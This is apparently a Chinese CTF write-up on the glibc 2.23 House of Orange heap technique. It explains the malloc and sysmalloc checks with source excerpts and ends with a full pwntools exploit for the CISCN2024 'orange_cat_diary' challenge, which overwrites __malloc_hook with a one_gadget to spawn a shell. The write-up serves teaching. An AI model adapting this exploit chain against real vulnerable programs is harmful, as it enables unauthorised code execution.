PWN系列-House of Orange
PWN系列-House of Orange
原理
原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入unsorted bin中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。
申请chunk的时候,会走到下面的步骤
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))//
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
else if (have_fastchunks (av))
{
\********\
}
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
在这段代码中,我们可以看到,如果 size(top_chunk_size) >= nb(user_chunk_size) + MINSIZE((prev_size+size)chunk_head_size) ,那么就会对 top chunk 进行切割,否则,之后会调用 sysmalloc 来拓展堆空间。
跟上进入sysmalloc函数看看
if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
\********\
}
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top)&& ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
从上面代码可以看到,如果 av(arena) 为空或者nb(user_chunk_size) >= mmap分配的最低阈值,并且 mmap 分配的最低阈值小于 mmap 分配的最大阈值(一般默认成立),那么就会利用 mmap 去分配内存,这样,我们就不能实现将top_chunk释放进unsorted bin的攻击目标了,因此,这里我们需要 nb < mp_.mmap_threshold
在 GNU C Library (glibc) 中,mp_.mmap_threshold是一个与内存分配有关的参数,控制何时使用 mmap
来分配大块内存。默认情况下,这个值可能会有所不同,具体取决于系统配置和 glibc 版本。
在 glibc 中,mp_.mmap_threshold的默认值通常是 128 KB(即 131072 字节)。这意味着当请求分配的内存块大小超过 128 KB 时,glibc 会使用 mmap
而不是 sbrk
来分配内存。
所以在一般情况下,mp_.mmap_threshold值是相对大的。
之后,就是利用 assert 进行一系列检测
- old_top == initial_top (av) top_chunk 没有被释放进 unsorted bin
- old_size(top_chunk_size) >= MINSIZE ((prev_size+size)chunk_head_size) 64位程序下也就是 top_chunk_size >= 0x10
- prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
- old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
- old_size < nb + MINSIZE 这个之前检测过了
之后就是用申请新的top chunk并且把旧的top chunk给free掉。
所以我们要想走到这步,就必须满足下面的条件:
- prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
- old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
- user_chunk_size > top_chunk_size 申请的堆块大小要大于 top_chunk 的大小
- top_chunk_size > MINSIZE 也就是 top_chunk 的大小要大于 chunk_heap 的大小,64 位下为 0x10
这里说一下第二点:old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
old_end = (char *) (chunk_at_offset (old_top, old_size));
这里的old_end其实就是top chunk的地址+top chunk的size,pagesize - 1==0xfff
old_end & 0xfff其实就是取old_end的后三位,看是否等于0
通俗点讲:比如此时top chunk的size是0x1e211,我们要进行house of orange,要将size覆盖成0x211就可以绕过这个check。
只要绕过这些chunk,就可以在没有调用free函数的情况下得到一个unsorted bin,通过这个可以用来leak libc地址、进行unsorten bin attack等。
例题
例题1:CISCN2024-orange_cat_diary(house of orange+fastbin attack)
2.23环境下的pwn题,保护全开,经典菜单题,add delete edit show功能全都有,就是delete和show只能用一次,并且chunk_ptr始终指向最新创建的chunk,存在uaf漏洞,并且edit功能还能进行8字节的溢出。
思路:利用溢出修改top chunk的size,利用house of orange来获得unsorted bin,再从unsorted bin中申请一个chunk来泄露libc地址,利用仅有的一次deletel来构造fastbin attack,将chunk申请到malloc_hook-0x23的位置,写malloc_hook为onegadgets,再次调用malloc就拿到shell了。
from pwn import *
p = process('./pwn')
context(os='linux',arch='amd64',log_level='debug')
elf = ELF('./pwn')
libc = ELF('./2.23')
def duan():
sleep(0.5)
gdb.attach(p)
pause()
def add(size,content):
p.sendlineafter('choice:','1')
p.sendlineafter("content:",str(size))
p.sendafter("Please enter the diary content:\n",content)
def delete():
p.sendlineafter('choice:','3')
def show():
p.sendlineafter('choice:','2')
def edit(size, content):
p.sendlineafter('choice:','4')
p.sendlineafter(b'content:', str(size))
p.sendafter('content:\n',content)
p.sendlineafter('name.\n','xce')
add(0x18,b'aaaaaaaa')
edit(0x20,b'a'*0x18+p64(0xfe1))
add(0x1000,b'aaaaaaaa')
add(0x60,b'aaaaaaab')
show()
p.recvuntil('aaaaaaab')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-1640-0x10-libc.symbols['__malloc_hook']
target = libc_base+libc.symbols['__malloc_hook']-0x23
og = [0x4525a,0xef9f4,0xf0897]
shell = libc_base+og[1]
print('libc_base-->'+hex(libc_base))
delete()
edit(0x60,p64(target))
add(0x60,b'aaaaaaaa')
add(0x60,b'a'*0x13+p64(shell))
p.sendlineafter('choice:','1')
p.sendlineafter("content:",str(0x10))
p.interactive()
唉,比赛的时候没有做出这道题,真想扇自己几个大嘴巴子(开玩笑的
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理